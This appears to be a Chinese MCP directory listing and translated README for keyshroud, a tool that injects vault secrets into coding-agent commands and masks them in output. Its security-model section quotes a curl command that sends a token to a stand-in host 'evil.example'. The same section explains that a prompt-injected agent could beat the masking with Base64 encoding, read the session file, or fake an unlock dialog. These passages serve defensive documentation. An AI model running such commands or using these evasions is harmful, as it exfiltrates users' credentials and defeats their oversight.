mcpField
K
keyshroud

keyshroud

本地服务
keyshroud.dev安全15 天前更新

关于 keyshroud

keyshroud 将 Vaultwarden 或 Bitwarden 中的密钥注入命令,同时避免编码 Agent 获取密钥明文。它会遮蔽命令输出,并通过引用支持 Agent 工作流。

主要功能

  1. 01从保险库注入密钥
  2. 02遮蔽标准输出和错误输出
  3. 03在文件中使用密钥引用
  4. 04将模板注入配置文件
  5. 05扫描泄漏并记录审计日志
  6. 06通过 MCP 工具访问密钥

适用场景

  1. 01为编码 Agent 提供 API 密钥
  2. 02避免密钥进入 Agent 对话记录
  3. 03将密钥写入工具配置
  4. 04查找项目中泄漏的保险库值

MCP 相关

其 stdio MCP 服务提供 secrets_run、secrets_list、secrets_request 和 vault_status。工具不会返回密钥值。

配置

本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。

mcp.json · 通用配置
{
"mcpServers": {
"dinhkarate-keyshroud": {
"command": "npx",
"args": [
"-y",
"keyshroud"
]
}
}
}
启动命令npx -y keyshroud

本地服务需要在你的电脑上安装运行环境(如 Node.js 18+)。各客户端的配置文件位置不同,请参考客户端文档。

安装包
npmkeyshroud0.7.6

工具

4

收录的工具列表 · 更新于 5 天前

参数类型必填说明
env_filestring否要包含的 bw:// 引用所在的可选 dotenv 文件

详细介绍

keyshroud

Agent 使用密钥,但永远看不到密钥。

让 API 密钥远离 Claude Code、Codex、Cursor、Cline、OpenCode、Gemini CLI、pi 和 omp — 机密信息保存在你自己的可自托管 Vaultwarden (或 Bitwarden)中,每个值都会在模型读取之前被屏蔽。

npm Downloads CI License: MIT Node

🚀 快速开始 · 🔐 Vault 设置 · 🔌 支持的 Agent · ⚙️ 工作原理 · ❓ 常见问题 · 🛡️ 安全模型 · 🌐 网站

🇻🇳 Tiếng Việt · 🇨🇳 简体中文 · 🇯🇵 日本語

演示:keyshroud 在命令输出中屏蔽 GitHub 令牌,同时命令仍可使用该令牌;scan 还会发现泄漏到测试文件中的密钥

$ keyshroud run --mask -- sh -c 'echo "deploying with $GH_TOKEN"; gh api user -q .login'
deploying with <redacted:GH_TOKEN>
dinhkarate

命令获取到真实令牌。命令记录——以及读取记录的模型——获取到的则是 <redacted:GH_TOKEN>。(Agent 运行命令时会自动屏蔽;在人工使用的终端中,--mask 可强制启用屏蔽。)

为什么选择 keyshroud?

编码 Agent 需要凭据才能完成实际工作:gh、npm publish、云 CLI、Webhook、数据库。常见方案都不理想:

  • ❌ 将密钥粘贴到聊天中 — 密钥会进入命令记录、服务提供商的日志,以及之后的每个上下文窗口
  • ❌ 将密钥放入 .env — Agent 调试时会用 cat 读取它,或者将它提交出去
  • ❌ 为密钥管理器付费 — op run 需要订阅 1Password,而大多数“Agent Vault”都是托管式 SaaS
  • ❌ 使用 Vault MCP 服务 — 其中大多数会将明文值直接返回给模型

keyshroud 解决了这些问题:

  • ✅ 只显示名称,不显示值 — Agent 能看到 GH_TOKEN 和 bw://GitHub CLI token,永远看不到令牌
  • ✅ 屏蔽输出 — 任何输出到 stdout/stderr 的值都会变成 <redacted:GH_TOKEN>
  • ✅ 使用你自己的 Vault — 可在每月 5 美元的 VPS 或 Raspberry Pi 上运行 Vaultwarden,也可使用 Bitwarden;无需在我们这里注册账号
  • ✅ 免费 — 采用 MIT 许可证,无遥测

功能

🙈 脱敏输出keyshroud run 会将 stdout/stderr 中的每个密钥值替换为 <redacted:NAME>,即使数据跨越多个数据块也能安全处理。
🪝 Agent 钩子pi/omp 的 tool_result 钩子会对每个工具结果进行脱敏,包括失败的结果。Claude Code 的 PostToolUse 钩子会对每个成功的工具结果进行脱敏(Bash、Read、Grep、MCP 等)——参见限制。
🔌 MCP 服务对于没有 shell 的客户端:keyshroud mcp 会提供 secrets_run、secrets_list、secrets_request、vault_status。任何工具都不会返回密钥值。
🔗 可提交的引用在 .env.refs 文件和模板中使用 bw://item、bw://item/username、bw://item/fields/name、bw://item/totp:引用名称,而非密钥值。
⌨️ 粘贴以创建新密钥通过用户终端中的脱敏提示输入,或在 pi 中通过脱敏弹窗输入——绝不会经过聊天。
📄 inject将 {{ bw://… }} 模板渲染到 0600 配置文件中,供无法读取环境变量的工具使用(.npmrc、kubeconfig)。
🔎 scan查找泄漏到工作树中的保险库值(适用于提交前检查)。
⚡ 快速每个会话批量执行一次 bw list items,而不是针对每个密钥执行一次 bw get(约 3 s)。
🏠 可自托管,免费可在 $5 VPS 或 Raspberry Pi 上运行 Vaultwarden。无需 SaaS 账户,也没有遥测。
🧾 审计日志audit.jsonl 会记录使用了哪些名称、何时使用以及由哪个命令使用,绝不记录密钥值。

支持的 Agent

Agent安装可用功能
Claude Code插件SessionStart + PostToolUse 脱敏钩子、技能
pi / omppi install npm:keyshroud环境变量填充、tool_result 脱敏(也包括失败的调用)、/secret
Codex、OpenCode、Gemini CLI、Cursor agentnpx skills add dinhkarate/keyshroud技能 + CLI,并支持脱敏输出
Claude Desktop、仅聊天客户端mcpServers JSON支持脱敏输出的 MCP 工具
任何 shell 或 CIkeyshroud run -- <cmd>环境变量注入 + 脱敏输出

使用 shell 的 Agent 会使用 CLI:这样不会在上下文中占用工具 schema,且无论退出代码如何,keyshroud run 都会对输出进行脱敏。MCP 服务适用于无法运行命令的客户端。

使用场景

“Claude Code 总是在读取我的 .env。” 运行 keyshroud import 将密钥值移入保险库,并写入 .env.refs 文件,其中包含类似 GH_TOKEN=bw://myapp GH_TOKEN 的行,然后通过 keyshroud run --env-file .env.refs -- claude 启动 Agent。插件钩子会对仍混入工具结果的内容进行脱敏。

“我已经自托管了 Vaultwarden。” 将 bw 指向它,运行 keyshroud doctor,就完成了——keyshroud 不会额外部署自己的服务。

“我喜欢 op run,但不想用 1Password。” keyshroud run 的理念相同——输入引用,输出脱敏内容——但使用的是你自行托管的保险库。

“我的 Agent 需要添加新密钥。” 它会运行 keyshroud add 或调用 secrets_request(MCP),随后你的桌面会弹出一个隐藏输入对话框;在 pi 中则使用 /secret。你可以在那里粘贴密钥值,它绝不会进入聊天。

快速开始

要求: Node.js ≥ 22.18、Bitwarden CLI 和一个保管库。

0. 获取保管库 — 选择一种方式:

  • 自托管 Vaultwarden(免费,使用自己的服务器):按照 examples/vaultwarden 操作 — 使用 Docker Compose + Caddy 自动配置 HTTPS, 从一台全新的 VPS 开始,直到运行 keyshroud doctor,并涵盖备份和安全加固。
  • Bitwarden 云服务(免费账户,无需服务器):在 bitwarden.com 注册, 并跳过下方的 bw config server(欧盟账户:bw config server https://vault.bitwarden.eu)。
npm install -g keyshroud @bitwarden/cli

# 1. Point bw at your server and log in once
bw config server https://vault.example.com
bw login

# 2. Unlock for 30 minutes (asks for the master password, which is not stored)
keyshroud unlock

# 3. Check everything
keyshroud doctor

# 4. Store a secret — typed into a masked prompt, never echoed
keyshroud add --env GH_TOKEN --item "GitHub CLI token" --notes "gh for agents"

# 5. Use it
keyshroud run -- gh auth status
keyshroud run -- claude          # start an agent with every wired secret available

除非你主动存储主密码,否则 keyshroud 不会存储它。保管库锁定时,如果某条命令需要机密信息,keyshroud 会发出请求:在终端中显示遮蔽输入的提示,在桌面上显示原生对话框(因此 Agent 的命令会等待你操作),通过 SSH 使用时则会提示你运行 keyshroud unlock。会话会在 30 分钟后结束(KEYSHROUD_SESSION_TTL_MS):计时器会运行 bw lock,因此复制的会话令牌也会失效。在无人值守的主机上,keyshroud unlock --unattended 只会在终端中询问一次,然后开启一个不会结束的会话。

若要在不被询问的情况下解锁,请将主密码存储在操作系统的钥匙串中 (security add-generic-password -a "$USER" -s vaultwarden-master-password -w,或在 Linux 上使用 secret-tool store;运行 setup 后,条目名称为 keyshroud-master-password;请参阅 保管库设置指南)。之后,任何以你的身份运行的程序都能读取它,包括 Agent。Windows 不支持钥匙串。

最小权限:使用单独的 Agent 账户

按照上述步骤,解锁的会话会开启整个保管库,而以你的身份运行 bw 的 Agent 可以使用该保管库。setup 会让 keyshroud 改为使用专用账户上的独立 bw 登录,该账户只保存 Agent 所需的机密信息:

keyshroud setup --email [email protected]   # opens the signup page, then logs in with the
                                                 # new master password (asked, not stored);
                                                 # no `bw config server`: Bitwarden cloud
keyshroud migrate                                # dry run: which wired items would be copied
keyshroud migrate --yes                          # copy them; references keep working
  • Agent 登录信息保存在 ~/.config/keyshroud/bw(BITWARDENCLI_APPDATA_DIR)中。你自己的 bw 登录不受影响。主密码不会被存储:会话结束时,keyshroud 会询问主密码并只保留 scrypt 哈希,因此 add 可以拒绝将其作为机密信息。
  • migrate 会复制由关联名称(以及任何 --env-file / --item)引用的条目,并保留相同名称,然后再次锁定你的个人保管库。原始条目会保留在原处。它会在终端中询问你的个人主密码(或读取钥匙串条目 vaultwarden-master-password)。
  • Agent 也可以运行 setup。如果没有终端,它会打开注册页面,你可以自行设置 Agent 账户的主密码(请将其保存在密码管理器中);然后 Agent 运行 setup --registered,并在对话框中输入该密码。Agent 无法读取的任何程序都不会接触到该密码。--confirm-unlock 和 --unattended 需要终端。
  • --confirm-unlock(macOS)会将主密码存储在钥匙串条目 keyshroud-master-password 中,以便 macOS 在每次读取时(即每次解锁时)向你确认。
  • --unattended(无人值守的主机,例如通过 ssh -t 使用)会登录并开启一个不会结束的会话。再次运行 keyshroud unlock --unattended 即可解锁。
  • 使用 SIGNUPS_ALLOWED=false 的自托管 Vaultwarden:从管理页面(/admin)邀请该地址,或者暂时开放注册一分钟;账户创建后,再传入一次 --registered。

工作原理

                     ┌──────────────────── your machine ────────────────────┐
 Vaultwarden  ◄─bw─► │ keyshroud ── resolves bw:// refs (1 batched call) ──► child process env
 (self-hosted)       │     │                                                │      │ stdout/stderr
                     │     └── redactor ◄────────────────────────────────────┘◄─────┘
                     │              │ <redacted:NAME>                                │
                     └──────────────┼────────────────────────────────────────────────┘
                                    ▼
                       agent transcript / LLM provider
  1. 接线。 按名称接入密钥:GH_TOKEN → bw://GitHub CLI token。 接线信息保存在 ~/.pi/agent/auth.json / ~/.omp/agent/auth.json (与 pi/omp 共享)以及项目的 .env.refs 文件中。这些文件均可安全读取。
  2. 解锁。 keyshroud 会请求主密码(或读取你保存在 OS 钥匙串中的密码);会话令牌会缓存到 ~/.config/keyshroud/session(0600),并在 30 分钟后再次锁定。
  3. 解析。 所有引用都从一份 bw list items 快照中解析,该快照会在内存中保存 KEYSHROUD_CACHE_TTL_MS 指定的时长(默认 1 h)。
  4. 注入。 值会写入子进程的环境变量中,不会写入 argv 或工具结果(只有在你要求时,inject 才会写入 0600 文件)。
  5. 脱敏。 进程内(run、MCP、pi/omp)的输出会经过脱敏器处理,该脱敏器能够识别所有已接线的值、保险库会话令牌以及保险库中的所有登录密码。进程外的 Claude Code hooks 使用已接线值和会话令牌的密钥 HMAC 指纹索引(redact-index.json,0600),因此不会持有明文,也不会为你的个人密码生成指纹。

Claude Code

先安装 CLI,再安装插件(脱敏 hooks + 技能):

npm install -g keyshroud
/plugin marketplace add dinhkarate/keyshroud
/plugin install keyshroud@keyshroud

你将获得:

  • SessionStart hook — 刷新脱敏索引,并告知 Claude 存在哪些密钥名称。它不会请求主密码:如果保险库已锁定,它会告诉 Claude 请你运行 keyshroud unlock。
  • PostToolUse hook — 使用 Claude Code 的 updatedToolOutput,将任何包含已接线值或保险库会话令牌的成功工具结果改写为 <redacted:NAME>(已在 Claude Code 2.1.296 中测试)。 限制: 命令失败时,Claude Code 会触发 PostToolUseFailure,而它无法改写输出。因此,技能和会话上下文会告诉 Claude,通过 keyshroud run 运行每条使用密钥的命令,以便在进程内进行脱敏,无论退出代码如何。
  • 技能 — 教 Claude 使用名称和引用,绝不使用值。

Claude 会通过其 Bash 工具使用 CLI,因此插件不会添加 MCP 服务(自 0.6.1 起)。如果仍要添加:claude mcp add keyshroud -- keyshroud mcp。

插件会从 PATH 调用 keyshroud。如果 Claude Code 是从无法访问 npm/nvm bin 目录的 GUI 启动的,请运行 keyshroud link-cli(将其链接到 ~/.local/bin),并确保该目录位于 GUI 的 PATH 中。

要让 Bash 命令通过环境变量获取密钥,请通过 keyshroud 启动 Claude:

keyshroud run -- claude

将保险库条目用作 Claude Code 自身的 API 密钥(apiKeyHelper):

keyshroud claude-setup --item "Anthropic API key" --ttl-ms 600000

它会先备份 settings.json,并且在没有 --force 的情况下拒绝替换现有 helper。

pi / omp

pi install npm:keyshroud

该扩展会:

  • 在提供方身份验证解析之前,将已接线的密钥载入 Agent 的环境中,因此启动时 $CUSTOM_KEY 提供方引用即可正常使用;
  • 通过 tool_result hook 脱敏所有工具结果,无论成功与否(包括已接线值、保险库会话令牌以及保险库中的所有登录密码);
  • 添加 /secret(描述 → 确认名称 → 脱敏粘贴)、/vault_add、/vault_wire、/vault_rotate、/vault_status 命令,以及 vault_add_secret / vault_status 工具。

/secret 可以请求本地兼容 OpenAI 的模型建议条目名称和变量名称。只会发送你的描述,绝不会发送密钥值:

export KEYSHROUD_PLANNER_URL=http://127.0.0.1:8080/v1/chat/completions
export KEYSHROUD_PLANNER_MODEL=qwen3-4b

如果不使用规划器,名称会根据描述生成,你可以编辑它们。

其他带 Shell 的 Agent

Codex、OpenCode、Gemini CLI、Cursor 的 Agent,以及任何其他能够运行命令的工具:安装 CLI 和技能,技能会教 Agent 使用 keyshroud run -- … 运行使用密钥的命令,并使用 keyshroud add 保存新密钥:

npm install -g keyshroud
npx skills add dinhkarate/keyshroud

无 shell 的 MCP 客户端

Claude Desktop、仅支持聊天的客户端,或不允许其运行命令的 Agent。任何通过 stdio 使用 MCP 的客户端:

{ "mcpServers": { "keyshroud": { "command": "keyshroud", "args": ["mcp"] } } }

如果你也想在 Codex 中使用 MCP:codex mcp add keyshroud -- keyshroud mcp。非交互式 codex exec 会拒绝需要审批的 MCP 调用;请明确允许 keyshroud 的工具:

# ~/.codex/config.toml
[mcp_servers.keyshroud.tools.secrets_run]
approval_mode = "approve"

OpenCode:opencode mcp add keyshroud -- keyshroud mcp。

工具功能返回值
secrets_list列出已连接的名称(+ 可选的 env_file)已解析/未解析的名称
secrets_run注入密钥后运行 shell 命令(only、env_file、cwd、timeout_ms)退出代码 + 已屏蔽的 stdout/stderr
secrets_request在用户的桌面上打开隐藏输入对话框并存储值created … verified=yes;如果无法显示对话框,则返回一条供用户在自己的终端中运行的 keyshroud add … 命令
vault_status保管库锁定状态、服务、项目数量状态行

CLI 参考

keyshroud get <ENV_NAME | bw://ref>          print one value (for scripts; not for agents)
keyshroud run [--env-file F]... [--only A,B] [--no-auth] [--mask|--no-mask] -- <cmd>
keyshroud inject [-i template] [-o out] [--force]
keyshroud redact < log.txt
keyshroud scan [paths...]
keyshroud env [--shell]
keyshroud add --env NAME --item ITEM [--notes TEXT] [--target pi|omp|both] [--stdin|--dialog]
keyshroud import [--from F|-] [--out F] [--prefix P] [--only A,B] [--skip A,B] [--yes] [--replace] [--force]
keyshroud rotate --item ITEM [--stdin|--dialog]
keyshroud wire --env NAME --item ITEM [--target pi|omp|both] [--force]
keyshroud unwire --env NAME [--target pi|omp|both]
keyshroud setup --email EMAIL [--server URL] [--confirm-unlock | --unattended] [--registered]
keyshroud migrate [--item NAME]... [--env-file F]... [--yes]
keyshroud unlock [--unattended]
keyshroud status | lock | doctor
keyshroud mcp
keyshroud hook claude <session-start|post-tool-use>
keyshroud claude-setup --item ITEM [--settings PATH] [--ttl-ms N] [--force]
keyshroud api-key --item ITEM
keyshroud link-cli [--dir DIR] [--force]

当 stdout 不是终端(Agent、CI、管道)时,run 会屏蔽输出;交互使用时则原样传递 TTY。使用 --mask/--no-mask 可强制选择任一模式。exec 是 run 的别名。

add 和 rotate 会通过屏蔽输入的提示符读取值,每个字符显示为一个 *。没有终端时(例如 Agent 的 shell),它们会改为打开原生隐藏输入对话框(macOS 上使用 osascript,Linux 上使用 zenity 或 kdialog,Windows 上使用 PowerShell),这样 Agent 可以启动命令,而你只需粘贴值。通过 SSH 或没有显示器时,请使用 --stdin 传入值。

import 会读取 .env(默认为 ./.env),根据名称(如 *_TOKEN 或 *_KEY)或值(如 sk-… 或包含密码的 URL)判断哪些行是密钥,并仅打印名称计划。只有添加 --yes 后才会写入:随后,它会为每个密钥创建一个保管库项目,命名为 <prefix> NAME(prefix 默认为目录名称),读回每个值进行验证,并写入 .env.refs,同时保留注释和非密钥行。再次运行时,会复用已存储相同值的项目;遇到冲突值则会停止。--replace 会改为就地重写源文件(以原子方式操作,不创建备份副本)。多行值、${VAR} 展开和重复键都会被拒绝,并指出行号,绝不显示值。

keyshroud import                 # dry run: which names would move
keyshroud import --yes           # store them and write .env.refs
keyshroud run --env-file .env.refs -- npm test

退出代码: 0 成功 · 2 用法错误 · 3 保管库已锁定或不可用 · 4 密钥缺失或项目名称不明确 · 5 拒绝覆盖现有状态。 run 会以子进程的代码退出。

引用
引用解析为
bw://GitHub CLI token登录密码
bw://GitHub CLI token/username登录用户名(notes、uri、id 也可用)
bw://Sentry/fields/dsn自定义字段 dsn
bw://AWS root/totp当前 TOTP 代码
bw://a%2Fb名为 a/b 的项目
!bw get password 'Item'旧版 auth.json 格式,仍受支持

按名称查找项目时不区分大小写,按 id 查找时则需精确匹配。遇到重复名称时会安全失败(退出代码 4),而非猜测。

配置
变量默认值
KEYSHROUD_CACHE_TTL_MS3600000内存中的保管库快照 + 会话检查的有效期;0 表示禁用
KEYSHROUD_SESSION_TTL_MS1800000解锁的会话持续时长,超时后执行 bw lock
KEYSHROUD_LOCK_TIMERon0 表示跳过后台计时器(会话会在下次调用时结束)
KEYSHROUD_CONFIG_DIR$XDG_CONFIG_HOME/keyshroud会话、bw/(执行 setup 后)、主密码哈希、脱敏索引、审计日志
KEYSHROUD_KEYCHAIN_MASTERvaultwarden-master-password钥匙串服务名称(执行 setup 后为 keyshroud-…)
KEYSHROUD_KEYCHAIN_CLIENT_IDvaultwarden-api-client-id
KEYSHROUD_KEYCHAIN_CLIENT_SECRETvaultwarden-api-client-secret
KEYSHROUD_AUDITon0 表示禁用 audit.jsonl
KEYSHROUD_PLANNER_URL / _MODEL / _API_KEY未设置/secret 的可选命名辅助工具

常见问题

需要 Vaultwarden 吗? 不需要。官方 Bitwarden 云端也可以;keyshroud 会连接 bw 配置的任意服务。

密钥会离开我的设备吗? 仅会在 bw 和你的保险库服务之间传输。keyshroud 没有后端,也不会发送遥测数据;值会被放入你运行的命令的环境中。

Agent 还能使用密钥吗? 可以。命令会获取实际值;只有模型读取的文本会被屏蔽。

这是沙盒吗? 不是。它只能防止意外泄露。恶意或受到提示词注入的 Agent 仍可能外泄它能使用的值——请参阅安全模型。

为什么不直接把 .env 加进 .gitignore? 这样只能阻止提交,不能阻止读取。Agent 会读取 .env 来调试,而读取的内容都会发送给模型提供商。

它能在 Windows 上运行吗? 可以,已在搭载 Node 22 的 Windows 10 上测试:bw 和其他 npm 命令行工具(.cmd 启动脚本)可以在不使用 shell 的情况下运行,解锁对话框是一个小型 PowerShell 窗口,且会话会像在其他平台上一样在 30 分钟后结束。%USERPROFILE%\.config\keyshroud 中的文件由你的用户配置文件 ACL(你、SYSTEM、Administrators)保护,而不是通过 0600 权限保护。有一处限制:通过 SSH 会话和终端(ssh -t)连接时,Windows 会在 SSH 会话关闭后结束锁定计时器,因此该会话会在下一次调用 keyshroud 时结束。Windows 上不支持密钥链:keyshroud 会要求输入主密码,且无法在那里运行 migrate。

bw login 显示 KeyIdBackfillError? bw 2026.9 及更高版本会调用 Vaultwarden 在 1.37.4 中新增的端点(vaultwarden#7750)。登录仍会保存(bw status 会显示 locked),且 keyshroud setup 和 API 密钥登录会自行继续。将 Vaultwarden 更新至 1.37.4 或更高版本即可消除此错误。

安全模型

keyshroud 可防止意外泄露:当命令打印出机密时,机密可能会出现在转录记录、提供商日志、屏幕截图、提交记录或模型上下文中。

它不能让恶意 Agent 或遭到提示词注入的 Agent 变得安全。能够运行 keyshroud run -- curl https://evil.example -d "$TOKEN",或在打印前对值进行 Base64 编码的 Agent,可以将机密外传。如果这符合你的威胁模型,请使用在传输过程中替换占位凭据的出口代理(例如 Infisical Agent Vault 或 OneCLI),通过 --only 限制每个会话可获取的机密,并让人工审批命令。

我们测试的保障措施:

  • 机密值绝不会出现在 argv、日志、诊断信息、MCP 结果、钩子输出或 audit.jsonl 中;
  • 新机密只能通过屏蔽输入的提示、--stdin 或原生对话框读取,绝不能通过标志传入;
  • Agent 可以打开的对话框会说明它由某个程序请求打开,警告不要输入主密码,拒绝名称不是单行可打印文本的输入,拒绝主密码本身,并且一次只打开一个(取消后暂停 30 s);
  • 会话文件、脱敏索引、渲染后的模板和身份验证文件的权限均为 0600;
  • auth.json 写入操作有锁保护且以原子方式执行,除非指定 --force,否则绝不覆盖;
  • 由 run 和 secrets_run 启动的命令绝不会收到 BW_SESSION、BW_PASSWORD、BW_CLIENTID 或 BW_CLIENTSECRET,因此 --only 确实会限制命令可读取的内容(在 pi/omp 内,Agent 进程会保留会话,以支持旧版 !bw 身份验证条目;其值会从工具输出中脱敏);
  • 环境变量文件只能包含引用和字面值:拒绝 !command 值,也拒绝会更改程序加载或运行内容的变量(PATH、NODE_OPTIONS、LD_*、DYLD_*、BASH_ENV、GIT_SSH_COMMAND 等),这些变量也绝不会被接入或注入;
  • 无法解析的 auth.json 绝不会被覆盖。

已知限制:.env.refs 可以引用保管库中的任意项目,而不仅限于你接入的项目,因此使用克隆仓库的 --env-file 运行前,请先查看其 .env.refs。import 使用启发式方法判断哪些内容属于机密,并将其余所有内容保留为字面值;提交 .env.refs 前,请检查其计划。Claude Code 的 PostToolUse 钩子无法看到失败的命令(PostToolUseFailure 无法重写输出),也看不到客户端发送的任何遥测数据;它只知道已接入的值,因此 keyshroud get bw://… 或 run --no-mask 会以明文打印内容;请通过 keyshroud run 或 secrets_run 运行使用机密的命令。拥有你用户账号 shell 访问权限的 Agent 可以读取 ~/.config/keyshroud/session 并直接使用 bw,直到会话结束——执行 setup 后,这只能访问 Agent 账号;它也可以随时读取已存储的主密码(密钥链条目或 ~/.config/keyshroud/master-password),因此 keyshroud 默认会改为询问;如果这点很重要,请在沙盒或容器中运行 Agent。相同的 Agent 也可以绘制一个看起来像解锁对话框的窗口;如有疑虑,请取消对话框,并在终端中运行 keyshroud unlock。如果未执行 setup,keyshroud 会与 bw 共用默认登录,因此 30-minute 锁定也会结束你自行打开的 bw 会话。脱敏采用精确匹配,因此部分值或经过转换的值(${TOKEN:0:10}、Base64 编码内容、被工具换行的内容)不会被屏蔽;长度少于 6 个字符的值不会脱敏(以避免干扰),因此不要接入较短的 PIN。

请私下报告漏洞——参见 SECURITY.md。

开发

npm install
npm run check        # typecheck + tests (fake bw, no real vault) + build
node src/cli.ts doctor   # run from source (Node ≥ 22.18 strips types)

参见 CONTRIBUTING.md。与运行时无关的核心位于 src/core.ts;Agent 集成位于 extensions/、src/mcp.ts 和 src/hooks.ts。

致谢

受 @jmcombs/pi-1password 启发——其弹出式界面和诊断信息格式移植于此(MIT)。屏蔽输出遵循 1Password 的 op run。与 Bitwarden, Inc. 或 Vaultwarden 项目无关联;“Bitwarden”是 Bitwarden, Inc. 的商标。

License

MIT © 2026 dinhkarate

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。